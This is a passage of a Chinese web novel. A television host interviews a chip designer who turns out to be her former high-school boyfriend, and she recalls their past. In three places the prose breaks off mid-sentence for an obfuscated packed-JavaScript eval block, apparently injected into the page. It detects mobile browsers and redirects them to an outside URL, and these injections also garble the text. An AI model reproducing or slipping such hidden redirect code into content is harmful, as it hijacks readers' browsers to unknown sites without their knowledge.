《烟火童话》 1. 黑猫警长 林孟随睡得正香时,接到了台里的电话。 来电人是策划组的同事,语速快、语调尖地吐出一句“有任务,立刻到台里一趟”,就挂了。 听着手机里的嘟嘟声,林孟随后知后觉揉揉眼,瞄了下时间:星期六,8:27,AM。 不早了。 可对于凌晨四点多才睡的人来说,还不到起床的时候。 她苦苦挣扎,抱着被子打滚儿撒癔症,反复确定刚刚的电话不是做梦,爬起来去了卫生间。 白黄色的灯光刺得眼睛难受,林孟随适应了片刻,对镜发呆。 镜子里是一张白皙清透的脸,面颊上带着初醒后的桃粉,眸子里雾蒙蒙的,睫毛上粘着泪花,一对硕大的黑眼圈挂在眼下。 算起来,回国也有段时间了,可时差始终没调好。 一到晚上就来精神,一到白天就犯困,每每去台里上班,咖啡一杯接一杯,引得同事打趣原来海归新闻人也这状态。 林孟随不尴不尬地笑。 她本科社会学,研究生才念的新闻传播。毕业前,同学拉她入伙开传媒公司,她犹豫不决,而后也不听谁说了一句国内现在机会更多,就稀里糊涂给电视台投了简历。 以她的学历和履历,录取是必然的。 于是,办理手续、打包行李、和同学老师道别,不消几天,回归故土,进程快得叫人头脑发昏。 父母几次打电话劝说不如回去,国内工作的强度和节奏她适应不了,她嘴上说好啊好啊,却半分行动没有,大有在哪儿都是干,过过再说吧的意思。 打了个长长的哈欠,林孟随冲自己扮个鬼脸,然后拉开化妆包翻遮瑕膏。 正屏着气描摹,手机又响了,这次是朱晓慧,行政办公室的“百晓生”,也是林孟随入职后关系不错的同事。 “起了吧。”朱晓慧说,“台里给你打电话了?” 林孟随画到关键时刻,嘴都在跟着使劲,慢了两拍才回:“嗯,说是有采访任务呢。” “知道什么采访任务吗?” “一会儿给我发资料。” 朱晓慧呵呵一笑:“那你等着吧。” 话里有话。 林孟随放下笔刷,拿起手机贴到耳边,一个轻巧转身,上一秒还无精打采的人,已然灵动起来。 “晓慧姐人最好啦,提前跟我透露透露嘛。” 隔着听筒,朱晓慧叫这甜甜柔柔的撒娇声弄得耳朵痒痒。 没了卖关子的瘾,她压低声音,简明扼要:“是老任的人物访谈。” 林孟随微微一愣,欲言又止,电话那头的人也不多言,只意味深长地说了一句“长点儿心眼”。 电流声悄然而过。 朱晓慧又说起待会儿的采访对象来:“我知道的也不多,说是芯片架构设计师,去年拿下国际大奖,身价飙升,是个科技精英。” 林孟随问对方叫什么?资料等不来,她可以先求助网络。 朱晓慧卡壳,嘀咕叫什么来着?是姓陈,还是程,又或者郑?还没回忆起来,她不方便讲了,电话挂断。 林孟随只好又去催同事发资料,随后她快速涂了点唇膏,再换上一身得体的衣服,匆匆下楼。 坐上出租车,林孟随趁着路上的时间搜索国内芯片的发展历史和前景,顺带浏览了几篇近一两年关于芯片设计的报道,边看边在本子上做记录。 车里放着北城特色的曲剧,司机师傅见后座的姑娘神情认真,调小了音量。 不想,林孟随是个一心好几用的,直说:“您别关小呀,这出《龙须沟》正到精彩地方呢。” 师傅一听是个懂行的,话多了起来:“姑娘是咱北城人?” “您看我像吗?” “听口音听不出来,看长相的话……”师傅打量这个漂亮年轻的女孩。 说是南方的温婉吧,眼里透着股机灵劲儿,一瞧就是个活泼的;说是北方的艳丽吧,又有小女儿家的娇憨,乖巧讨喜。 师傅摇摇头:“也看不出来。” 林孟随笑着在记录旁边画了个猫爪子,揭秘:“打我爷爷的爷爷起,就在北城生活了。” 可巧,师傅祖祖辈辈也是北城人。 老乡见老乡,距离一下拉近。 两人就着北城闲话,得知林孟随在国外求学多年,才回来不久,师傅给她说了好多北城的变化,诸如哪个老景点翻修了、哪座高架桥建五年还没完工、哪条马路又拓宽了…… 林孟随耳朵听着,嘴上和着,手下催着,几个“拜托拜托”的表情包过去,同事可是发来了资料。 三十多页的PDF,她吸了口气,开始阅读。 这次采访的芯片架构设计师是云筑科技公司的创始人,兼技术总监。 云筑科技成立于三年前,别看公司年轻,却是势头迅猛的后起之秀,实力直追国内头部芯片公司。 尤其去年,云筑科技联合北城大学一同研发的纯国产温感芯片“筑光”一经推出,直接给智慧医疗提供了重要技术支持,在业内引起很大轰动。 云筑科技的技术总监也一跃成为芯片领域炙手可热的人物。 了解完大致背景,林孟随往后翻,内容终于来到主角这一页。 她挺直了背,集中注意力准备好好研究,却叫首行跳出的两个字弄得脑子一嗡,空白了。 “……要我说,这城市建来建去的,还没过去好。还有那些吃的,也没过去的味道了。” 师傅叹了口气,似是感慨良多,他将曲剧换成了小调,节奏欢快了起来。 中年男人听得摇头晃脑,跟着唱了几句,末了,还是忍不住说:“人活着啊,有时候要的就是一个追忆。有句话怎么说的?回忆总是美好的。你说是不?” “……” 林孟随醒过神来,搭腔说是啊,等低头看去,本子上不知何时上多出了许多缠乱无章的线,她问:“还有多久到?” “快了。”师傅看看,“有条近路。” 林孟随点点头,她像是下了某种决心,再度将资料捧到眼前,一字一句地看:陈逐,毕业于北城大学,微电子科学与工程专业,工程博士,先后获得…… 心里那根弦又放松下来。 那人的理想是追随父母的脚步研习数学,高考目标也是华城大学数学系,怎么会跑到北城大学学什么微电子工程? 纸上的“陈逐”并不是她想的那个。 重名而已。 林孟随靠回椅背,不觉碾了碾手心里的薄汗。她降下车窗,让清风灌进来。 车子在这时拐进一条小路,街道幽静,两边种着葱绿的高树,各种小吃店和文具店半隐在树影下,摇曳出几分旧岁月的味道。 看到某家店时,林孟随一怔。 反应过来后,她急急去寻觅路牌,竟又是一个“巧了”。 “能躲三个红灯。”师傅比划,“今天学生们还都不来上课,不会堵。” 话说到这里,师傅顺口多问一句:“姑娘出国前读哪个学校的?” 窗外倒退的街景重合成一条光带,滑动着,一去不回。 林孟随近乎喃喃:“就前面那所。” “前面?北城一中啊!” 师傅竖起大拇指,那可是市里数一数二的重点,他家亲戚的小孩也有从一中毕业的,保不齐这里面能有缘分。 林孟随笑了下:“够呛。” “你哪届的?我回去问问。” “您问了也没用,我都没从一中毕业。” 师傅一惊:“怎么还没毕成业呢?” “闯祸了呗。” 女孩语气似开玩笑,说完便继续读资料,没给师傅机会追问出这话到底是实话还是玩笑。 * 下了车,林孟随一路小跑进了大楼。 正逢休息日,大厅里十分空荡,林孟随刷卡过了门禁,往化妆室赶。 半路遇上朱晓慧,朱晓慧说还去什么化妆室?直接会客室弄去,能节省一些时间是一些。 两人一同乘上电梯,就她们俩,朱晓慧无所顾忌打开话匣子。 “老任这次太过了,真拿自己当明星主持了?” “策划组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379359|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些棒槌也是看人下菜碟。” “台里不会由着他胡来的。等着吧,下午肯定有事发生。” 林孟随望着电梯面板上闪烁的数字,琢磨采访的事,过程中,偶有一根神经游离在外,人显得有些心不在焉。 朱晓慧以为林孟随是紧张,也不叨叨了,安慰:“凡事都有第一次。你来台里也有段日子,全当锻炼机会了,也是累积人脉。” “人脉?” “我听策划组的人私底下讨论过这个设计师,牛得很,好多大团队攻克不下的难题,他几下就给解决了。”朱晓慧摸摸下巴,“三四十岁就能有这个成绩,确实牛。” “你怎么知道人家三四十岁?” “不然呢?难不成还是个青年天才?” 林孟随抿抿唇,没接话。 电梯即将抵达十七楼。 朱晓慧拍拍林孟随肩膀,说:“真别紧张。以你的专业水平,没问题。” 听到这话,林孟随忽而又释然了。 别说资料里的人不是那个人,就算是,又能怎样? 时间是橡皮擦,也是淡化剂,不管使用了哪种效果,结果早早在那儿摆着,大差不差。 该来的,多害怕都得来;不该来的,求神拜佛也没用。 采访在即,工作才是最重要的。 林孟随扬起头,露出往日里的自信笑容:“难得的机会,我要好好表现。” “这就对了。我等着看老任被打脸。” 好消息是,林孟随皮肤底子好,大大减少了化妆上的麻烦。 加上访谈类主持人的妆容要求也不复杂,即便在会客室化妆不太便利,也没大的影响。 多得些空当,林孟随将资料上的内容又捋了一遍。 十几分钟后,同事来报信,说人到了。 林孟随起身,照照镜子,整理衣着,面带微笑走到门口迎接。 门开启前,她还在默默回顾记下的内容,对于那个相同的名字,她坦然地剔除出去,只想着一定要出色完成任务,直到—— 撞上那双浅瞳。 那是一双看什么都清清冷冷的琥珀色眼睛,只有在起了脾气的时候,才会带出些许压迫。 她最怕他这样看她,会立刻卖乖求饶,他往往不肯退步,她就耍无赖。赖皮到最后,他别过头,不看她了,阳光洒进他眼中,又是一片温暖光芒。 那样的暖看得她心底烫烫的,和眼前的冰凉萧瑟,一天一地。 “劳烦陈总亲自过来一趟。”陪同的主任笑道,“来,我给陈总介绍一下。这位是我们台里特别优秀的青年主持人,林孟随。” “小林啊,这就是云筑科技的陈总。” 林孟随脸上维持职业笑容,不见神色波动,心里则经历着一场狂轰乱炸,她万分懊悔刚才为什么要那么豪迈地想就算遇见了也没事? 果然,人最不能做的就是自己骗自己。 陈逐静立在门口。 上学那时他个子就高,几年的成长,如今的他褪去少年时期的青涩稚嫩,宽肩长腿,完美撑起西服,黑色领带周正地束在领间,浑身散发着成熟男性的矜贵冷淡。 而那张脸,还是那么好看,不,是更好看了。 鬼使神差的,林孟随又有些后悔昨晚非要熬夜。 陈逐垂下眸,视线漠然地掠过林孟随,稍顿,他上前一步伸出手,礼貌绅士,也陌生疏远,:“你好。” 林孟随指尖轻颤,同伸出手:“你好。” 两人的手指一触即分。 主任走在前面,嘴里说着恭维赞扬的话,请陈逐去沙发落座。经过林孟随身边时,她并没有多看一眼,可心底还是无法自控地产生恍惚之感。 七年。 那些尘封已久的记忆像是一片片散落在各处的拼图,在这一瞬间自动拼成了无数幅清晰鲜活的画面,重现眼前。 在教室里、在图书馆的书架后、在操场的草坪上…… 她从追在他身后跑,到跟在他身边,到被他紧紧握着手,依偎在侧…… 一帧一帧,好似昨日。 2. 黑猫警长 “小林?小林?” 主任连喊好几声,林孟随如梦初醒。 她扭头回了一个开小差被抓的歉意微笑,跟到了沙发旁。见状,主任也没多说什么。 三人坐下。 林孟随坐左边单人沙发,陈逐和主任一排,坐中间的三人沙发,两个男人一左一右,陈逐在右,和林孟随隔得最远。 关于主持人临时换人的事,主任一字未提,他只夸林孟随好,专业能力强,职业素养高,是不可多得的人才。三言两语,硬生生把她这个入职才一个多月的新人塑造成未来的传媒界女王。 林孟随听得汗流浃背,又不能表现出什么,就笑,笑得脸又热又僵。 夸到词穷,主任该告辞了。他和陈逐握手,预祝采访顺利,再来嘱咐林孟随不得怠慢,务必完成好任务。 没了领导的场面话,宽敞的会客室内,剩下林孟随和另外两位同事,一个编导组的,一个策划组的,以及陈逐。 林孟随和陈逐保持对角线的距离坐着,谁也不说话。 气氛尴尬沉闷,林孟随几次想搞点小动作,偏今天是个艳阳高照的大晴天,明晃晃的光线刺透落地窗照进来,让一切都无法遮掩躲藏。 编导组的同事接到电话,出去了,剩下策划组的那个时不时瞧瞧林孟随,瞅瞅陈逐,表情疑惑。 哪个主持人在采访前和采访对象一句话不说的? 而且,同事还隐约觉着哪里奇怪,具体哪里怪,又说不上来,反正他在屋子里待得不太舒服,憋气得很。 林孟随避开同事的眼色,探眼望向窗外,远方的云团飘飘荡荡,她的余光谨慎地跟着偏移。 那人背靠沙发,背脊笔挺,一只手臂随性地搭在扶手上,交叠的长腿修长有力,让沙发和茶几之间的空间显得格外逼仄。 通常男人摆出这种姿态时,给人的感觉要么散漫不羁,要么帅气冷硬,而他,是雅致端庄。 主要还是因为气质清冷吧。 就跟天上的月亮似的,管它圆的弯的,总是洁白孤高,拒人于千里之外。 这样的人是永远不会先开口的。 意识到这点,林孟随莫名心头一跳,喉间涌上了难以言明的滋味。 她顾不上去体会咂摸,工作就在眼前,无论如何,她不能在工作期间思绪不端。 林孟随思索起用什么话作为开场白好,天气?美食?又或者芯片设计?还没找出个方向,摄制组那边来人叫他们进演播室了。 林孟随一愣,去看墙壁上的挂钟,再看策划组的同事,同事挠挠脸,假装看手机。 心里拱起丝丝火苗,不能发作,林孟随强压下去,转头问:“时间提前了一些,陈总介意吗?” 刚才还绞尽脑汁想该说什么,这会儿话就这样出口了,林孟随讶异自己“陈总”叫得还挺溜。 也是,从前她在他面前,什么称呼不敢叫? 一直没有动静的陈逐循着女人的声音看过来,他沉默几秒,探身放下咖啡杯,西服袖口随他的动作后移,露出一节冷白手腕。 “不介意。” 两人往门边走。 策划组的同事先溜一步,林孟随边走边埋头整理资料,不知不觉和陈逐成了并肩而行。 她灵敏地嗅到不属于自己的气味,类似冷檀香,低调幽微。 林孟随不由紧紧鼻子,抬头看了陈逐一眼,男人神情自若,在门口停住脚步。 林孟随一时迷糊,也停住了,见对方抬手做了一个“请”的手势才明白过来,她赶紧道谢,快步走了出去。 * 这次访谈是录播,留给后期剪辑的时间充裕,工作难度低,大家就比较放松。 陈逐出现时,几个年轻女孩还有工夫惊叹八卦。 助理给林孟随和陈逐送来领麦。 不知有意无意,给陈逐别麦的是女生,给林孟随别麦的是男生。 林孟随不想揣测什么,但她不喜欢外人靠近自己,便说:“我自己来就好。” “还是我来吧。”男助理手伸过去,“你第一次别吧?不熟。” 她退身:“我知道怎么弄,自己来就好。谢谢。” “还是……” “我来吧。” 女助理过来了。 男助理乜了眼同事,没再言语,拉着脸走开。 女助理走到林孟随身前,作势帮她,林孟随笑道,“不麻烦了。你还是……” “陈先生说不用。” 闻言,林孟随侧头看去。 男人站在灯光后面的昏暗之中,被黑色的影线勾勒出轮廓,从额前开始,沿着鼻峰到下颌、喉结、肩膀、腰腹,像一幅电影海报。 林孟随没忍住多看了几眼,手底下一滑,领麦戳到皮肤,锁骨处红了一小片。 等他们这边准备就绪,导演也戴上耳麦,让现场工作人员各就各位。 林孟随和陈逐相对而坐,主光灯、补光灯尽数大开,对准他俩,周遭温度一下飙升了好几度。 “好,各部门注意。5、4……” 眼前光线有些晃人,林孟随往前坐了一点,抬起眼时,在光晕重影中看到陈逐。 那双琥珀色浅瞳被人工灯光催生出些许温情,有那么一刹那,她好像看见了过去的那个少年,背着书包,在海棠树下等她。 她热衷于制造惊喜,或者说是惊吓,每次都计划着要背后偷袭。而每一次,他都精准预判她,一把扣住她的手,将她的坏心思消灭在他怀里。 他对她说:“林孟随,你骗不了我。” “1。” 林孟随闭上眼,再睁开,光晕消散,重影清晰,得体的笑容洋溢在她脸上。 进入状态的林孟随脑子里不再有其他,对面坐着的人就是她的一个普通采访对象。 而她的专业水平也的确不俗,尽管这是她在台里第一次做人物访谈,但在美国时,她隔三差五就会做街头采访,和一些学者或知名人士也能侃侃而谈。 她身上有种天然的亲和力。 可能源于她甜美明艳的长相,可能是她幽默逗趣的说话风格,又可能是因为她的眼里充满真诚,会让人卸下防备,无法拒绝。 现场渐入佳境,林孟随有条不紊地推进进度。 但她很快也发现,某人惜字如金的习惯延伸到了采访中来,她问什么,那人能用两个字回答,绝不会说三个字。 换做以前,林孟随早开始不依不饶,可现在的她只能调整自己去配合受访者的步调。 她转变了问话方式,将一些小问题形成快问快答,将一些大问题揪到细节之处,几个回合下来,对面的人说的字渐渐变多。 这样的转变令林孟随不禁有些洋洋得意,她眼中漾出几分小窃喜,想继续用这样的伎俩,却又在对上那人的目光后,一阵心虚。 那是看穿了的了然。 林孟随顿时脸上燥热,垂眼去翻桌上的提纲,想找补过去,又听:“这样解释,可以吗?” 清润的嗓音被话筒放大音量,使那份低沉磁性也更有穿透力,加上这是男人第一次语气里带了疑问,尾调微扬,寥寥几个字,竟衍生出一丝别样意味。 台下的女孩子们骚动起来,一位女编导让摄影师拉近镜头,对焦陈逐。 陈逐毫无察觉,淡然地看着林孟随,等她说话。 林孟随只觉自己要被灯光烤焦了,稳了又稳,她语带俏皮,把这个问题四两拨千斤地推回去:“这个恐怕需要增加我的工作量了,我得采访几个文科生去。” 工作人员们笑了笑,都觉得小姑娘反应蛮快,陈逐则面无表情,还在看着林孟随。 两人对视,时长不过三四秒。 林孟随却觉得好漫长,长到她能感到自己呼吸时身体的起伏幅度。她调节坐姿,试图换下一个问题。 这时候,陈逐开口,给出了通俗易懂的详细解释…… 一小时后,采访进入尾声。 剩余一两个问题是之前老任团队罗列的私人情感问题,林孟随一概没问,换成对国产芯片技术的展望,陈逐的回答诚恳有力,采访圆满结束。 主任提早进到演播室观看现场,鼓着掌上台迎陈逐下来。 林孟随收拾桌上的资料,耳朵竖着,心想主任给她捧这么高,这会儿肯定还得拉她去客套一番。 客套什么好呢? 她苦思冥想,一时比刚才采访时还要紧张几分。 死了大片脑细胞无果,林孟随懒得再想,扭头看去,主任和陈逐已经离开演播室,瞧样子,像是有事要商议。 林孟随:“……” 脑细胞白死了。 林孟随从演播室出来,她找到饮水机,斟了满满一杯,颇为急切地喝起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379360|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 朱晓慧不知打哪儿冒出来,吓她一跳。 “至于吗?”朱晓慧给林孟随拍背,“瞧你这你一惊一乍的。” 林孟随脸通红:“姐,你怎么神出鬼没的?” 朱晓慧笑笑,掩嘴道:“真是没想到啊,这个芯片设计师居然这么帅!我跟你说,有人把偷拍的照片发群里了,直接刷屏!还有还有,他们说这人的声音也超级苏,是吗?” 一旦启动说话功能,朱晓慧的嘴就跟上了发条一样,停不下来,但说来说去,无非是理工男能有一副这么好的皮相,实属难得。 再有就是,天纵奇才。 “北城大学!六年完成本博连读。”朱晓慧小手指差点戳林孟随眼里,“我知道北城大学有这种快速培养人才的机制,可没听过谁成功走过。这还真是个青年天才啊!” 林孟随喝下最后一口水,低眸看着空了的纸杯,轻轻“嗯”了声。 朱晓慧本以为像林孟随这样的学霸也得惊奇陈逐的才华,但听她这么波澜不惊的,好像事前就知道似的。 她问是资料上写着了吗?林孟随摇头。 那份资料注重隐私,给的信息都是大方向。 也因为都是大方向,林孟随又仗着自以为是的了解,才把人家归为重名。 想想也是可笑,她是哪里来的自信认为陈逐不会有改变呢? 哦,也还是有没变的地方的,比如——依旧是个天才。 学生时代,在数学领域就获奖无数,还全是国际上含金量极高的奖,物理化学也有天赋,考个满分和玩一样。 从小被劝着跳级,家里不同意,因为依据家族成员的前车之鉴,跳级会影响社会人格的培养,不利于人际交往…… “人比人,气死人呐。”朱晓慧啧啧,“同样都是长一个脑袋的,人家的就是不一样。诶,你说…… 手机上来了条信息,打断了朱晓慧,等她回完消息,刚才的话茬也接不下去了。 林孟随暗暗舒口气,由衷感谢这位素未谋面的发件人。 “中午了,一起吃饭吗?”朱晓慧换掉话题。 林孟随没什么胃口。 朱晓慧又说:“那要不你等等我,咱俩下午去吃甜品?我今天加班到两点多就行。” 这个好,甜的。 朱晓慧约上别的同事去吃午餐,林孟随无事可做,打算回办公室待着。 路过主任办公室,门突然打开,主任高声说对不住、对不住,送陈逐出来。 看见林孟随,主任二话不说招呼过来:“小林,你来得正好。帮我送送陈总。” 林孟随:“……” 脑细胞又要开始大面积自杀了。 林孟随沉沉气,走过去,像个假笑的迎宾员:“陈总,这边请。” 陈逐瞥她一眼,握了握主任伸过来的手,主任喜笑颜开:“陈总,合作愉快啊。” 说完,主任回办公室里处理电话。 长长的走廊上,一个旁人没有,分外安静。 林孟随站在陈逐斜后方一点,彼此隔着合适的社交距离,不紧不慢地走。 林孟随身型尚算高挑,但在陈逐身边就小鸟依人了。 他们的影子映在地上,走动间偶尔重叠包容,但大部分情况还是泾渭分明。 林孟随的脑细胞已经死绝了。 她几次想要张口,那句经典的“好久不见,你还好吗”含在嘴里,就是冲不出嘴皮。 陈逐呢,更没有说话的意思。 林孟随干脆想,要不就这样吧,以后也不会见面,何必多此一举?可心里又有个声音在和她说:起码说声对不起。 念头一起,后者逐渐压过前者。 林孟随鼓起勇气,提速想超过陈逐,而陈逐的手机在这时响起。 他看了一眼腕表,随即加快脚步走到电梯前按下按钮,恰好电梯停在十五层,很快就上来了。 陈逐大步迈进电梯,林孟随反应过来,追上去,陈逐微微颔首,请她止步不必再送,接着利落按下关门键。 林孟随呆呆站在电梯之外。 在门完全合上前,她从缝隙里看到陈逐眉眼放松,神情也不似之前那样凉淡,整个人像是一下有了温度。 他接通电话,语气平和地说:“这就回去了。想吃什么?” 话落,电梯门关闭。 3. 黑猫警长 说是两点下班,等朱晓慧忙完,已经将近三点半。 朱晓慧拉着林孟随说她请客,两人离开电视台大楼,步行去了隔壁街的甜品店。 这家甜品店算是附近的网红店,每天客流量不少,林孟随她们运气不错,来的时候还剩下几块招牌芝士蛋糕。 坐下后,朱晓慧的嘴又开始上工。 关于某人的八卦还有余热,但因掌握的信息太少,余着余着也就冷却了,重点还是办公室里的那些事。 朱晓慧低声道:“老任把事情搞成这样,我预感他要完。” 这位老任,全名任思阳,三十四岁,以前是记者,后来做了人物访谈主持人。 今年六月,任思阳因采访了一位颇为传奇的乒乓球运动员而名声大噪,狠狠圈了一波粉,有了一定流量。 自那以后,任思阳计划打造个人品牌,想让台里以他的名字成立一个全新栏目,而台里始终没有松口。 “像今天这样突然撂挑子,老任不是头一次了。”朱晓慧冷哼,“他还指使手底下那帮策划组的到处挖坑,先是故意拖着不给你资料,又故意和摄制组提报错误时间……幸亏你没出差错。” 林孟随用吸管搅着柠檬茶,她不太关心老任,给的回应也不痛不痒,朱晓慧瞧出她兴致缺缺,歪头打量。 “怎么了?”朱晓慧问,“你今天老走神,遇到不开心的事了?” 林孟随“啊”了一声,而后浅浅一笑:“没。都是让今天的事给搞的,我第一次接这么急的任务。” 朱晓慧笑:“你完成的很好。” “谢谢晓慧姐。” 说完,林孟随挖了一小块柠檬芝士蛋糕送进嘴里。 心头好像有什么东西在压着她,蛋糕尝不出滋味,她不耐地偏偏头,不经意间,看到店门口站着两个穿着校服的学生。 这两人估计是周末刚补习完,在甜品店旁边的面包房买了一个甜圈圈填填肚子。 女生先咬一口,笑着点点头,去喂男生。男生避开,不太想吃,女生就踮着脚往前送,男生躲不过,只好尝一口。 女生见男生吃了,笑得更开心,男生看女生笑了,自己也笑了。 看着这幅场景,林孟随不觉跟着笑,她低头吸柠檬茶,再看过去,那对情侣忽然又变了模样…… “陈同学。” “陈学霸?” “陈天才……” “陈逐……哥哥!” 绿树下,正在看书的少年终于抬起头投去一眼。 对上女孩水灵灵的眸子,他未做停留,又将视线移回书中,书本挡住了他抿嘴的动作。 林孟随见这人就用0.1秒理自己,哪里肯干? 叫人没用,她就过去抓他的书本:“别看了!再看你就该上天了!” “不要闹。” “怎么就闹了?现在是午休时间!” “……” “非看是吧?我回头就把你的书都锁我柜子里去!” “……” 没办法,陈逐合上书,问:“什么事?” 女孩一脸神秘兮兮:“噔噔噔!” 林孟随从背后变出一个全新的粉红色餐盒,上面印着花花绿绿的图案,一只傻憨憨的奶牛猫坐在右下角抱着盆吃小鱼干。 “……” 陈逐不知该如何点评这样的审美,林孟随也不用他点评,打开盖子,献宝似的捧出去。 里面是两个甜甜圈,上面裹着一层浅黄色的果酱,闻气味,是柠檬。 这不是林孟随第一次给陈逐做吃的。 前段时间,林孟随迷日剧迷得不行,每次看到女生给男主准备爱心便当,心里便涟漪不断,她有样学样,也企图用美食拴住某人的胃。 只可惜林大小姐是典型的人菜瘾大,且动手能力基本为零。 陈逐第一次吃她做的可乐鸡翅时,一下午跑了好几次厕所。之后陆陆续续又有炸虾、饭团、炒饭,味道一如既往地可怕,唯一优点是没让陈逐闹肚子。 眼前的甜甜圈,品相堪忧,有的地方炸糊了,有的地方看着还欠火候。 陈逐内心叹气,却也不甚在意,目光不动声色地掠过另一个地方。 果不其然,多了创可贴。 他皱了下眉,林孟随不喜欢他皱眉,捏着甜甜圈往他嘴前喂。 “你尝尝,这次好吃!” 陈逐不肯,后退一步,林孟随就前进一步。 一退一进,互不相让,女孩越发向少年贴近,薄薄的校服也越发遮不住他们热烘烘的体温。 “林孟随,你无不无赖?” “真的好吃呢!你就尝尝嘛,尝尝。” “……” “陈逐~” 放在身侧的手掌握成了拳,陈逐躲无可躲,一把抓住女孩纤细的手腕,向外移了一点,然后垂眸,低头咬了一口甜甜圈。 陈逐吃东西十分斯文讲究,他家里有这方面的规矩,小时候严格教过,林孟随不催,盯着他把东西咽下去,才问:“好不好吃?” 陈逐没答,视线又一次落到创可贴上。 林孟随看他不予置评,不免沮丧,也着急,明明按照教程一步步做的,怎么就是不行呢?到底哪里出了错? 她噘噘嘴,眼中黑亮的光黯淡下去,作势将盖子盖回去,握着她手腕的那人忽然使了一点力。 “以后别做了。”陈逐说。 林孟随以为他是嫌自己做的难吃,想说失败是成功之母,她的母已经快要来认领她了,然而话没出口,又听—— “你要是喜欢这种形式,我做给你吃。” 少年说这句话时,声音略带沙哑。 他低下眼帘,长密的睫毛颤了颤,白皙的皮肤上爬过一丝不自然的红晕。风吹着他的发梢,一遍遍扫过眉眼,他身上有股干净清爽的冷香。 林孟随心跳如鼓,刚才还紧追不放的人,这会儿又不敢去看少年的脸,可如果真不要她看了,她又舍不得。 那是一张太过好看的脸。 林孟随咬咬唇,贴着创可贴的手指轻戳了下某人,小声说:“骗人会长鼻子。” 说罢,又更小声地再补一句:“你这鼻子这么好看,长了多可惜呀。” 头上绿叶哗哗作响,帮忙掩饰少男少女不愿道破的心事。 片刻后。 少年侧过头,似是扬了下嘴角,问:“想吃什么?” “……你还有想吃的吗?” 听到声音,林孟随眨眨眼。 她恢复了清明,窗外也换了景,刚才还在店门口吃甜甜圈的男女,已经走出去好远。 林孟随又喝了一口柠檬茶,这才看向朱晓慧,说不了。 “那我再去看看。”朱晓慧起身,“我得多吃点儿甜的,抚慰我加班的疲惫。” 面前少了个人,林孟随说不上是感到轻松了些,还是空虚了些,复苏的记忆在她脑子里盘旋。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379361|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她当然不会让陈逐每天做东西给自己吃,他是厉害、是天才,但那也有很多事需要他忙,没有那么多精力。 可每到月底,陈逐都会送给她亲手做的食物,送之前,他也都会问她:想吃什么? 这么多年在美国独立生活,已经很少有人问林孟随想吃什么了,她也不需要别人询问,想吃什么、想要什么,她自己会去得到。 现在冷不防再听到这四个字,没想到会是在这样的场景之下…… 心里生出几分庆幸来。 林孟随虽不知道陈逐电话对面的人是否是他的女朋友,但起码的,应该是和他关系亲近的人。 她之前本想为当年的事亲口向他道歉,却忽略了一点:他们已经走出“当年”,是成年人了。 如今,他很好,事业有成,生活中也不乏亲密贴心之人,她这个早早退出舞台的过客就该秉着成年人的体面,少去刷存在感。 有时不做打扰,就是最好的道歉。 长呼了口气,林孟随重新拿起小勺吃蛋糕。 朱晓慧拎着两个小纸盒回来,说是买的巴斯克和提拉米苏,要是好吃,回头和林孟随说。 林孟随笑眼弯弯说好啊。 瞧着她,作为资深颜控的朱晓慧忍不住想掐掐这小姑娘的脸,手都伸桌上了,又是一愣。 朱晓慧问:“眼睛怎么红了?” 林孟随反问有么,然后鼓着脸颊告状:“这柠檬太酸了。” 朱晓慧哈哈笑:“我就说吧?你再怎么喜欢柠檬口味,也不能柠檬茶还就柠檬蛋糕。” “是呢。”林孟随托着下巴,甜美娇俏,“以后不这么吃了。” 半小时后,两人从甜品店出来,太阳已有西沉之势。 朱晓慧说开车送林孟随回家,林孟随没麻烦人家。 分别前,朱晓慧抓住机会再预言一波:“你看吧。老任这事,绝对没完。” 林孟随对老任的下场如何,还是没兴趣,但有无兴趣的,这也是她目前生活中的一部分。 是啊,她的生活也在继续。 * 陈逐开车前往市中心老城区。 遇上休息日,路上交通状况良好,单行路上没怎么堵车;可到了休息日,来买东西的人也多。 停好车,陈逐进入一家北城卖糕点的老字号。 乌泱泱的人站满铺面,有老人,也有小孩儿,吵闹声不绝于耳。 陈逐来到排得最长的队伍后面,他站在人群中,鹤立鸡群,吸引了无数目光,有那种热心肠又自来熟的老阿姨,甚至酝酿着是不是打探一下感情状况? 好在帅哥好虽好,却也是高岭之花一朵,只可远观,难以靠近。 陈逐无视周围的探究,单手执着手机回消息,处理工作。 排了快二十分钟的队,他成功买到玫瑰饼和枣泥酥,全是木糖醇版的。 结账时,年轻的收银员望着他脸红,磕磕巴巴推荐店里新出的产品,是一款松饼。 “有、有豆沙的、黑芝麻馅儿的,还有那个,”收银员清清嗓,“巧克力、草莓、柠檬,和凤梨。买三送一,买五送二。” 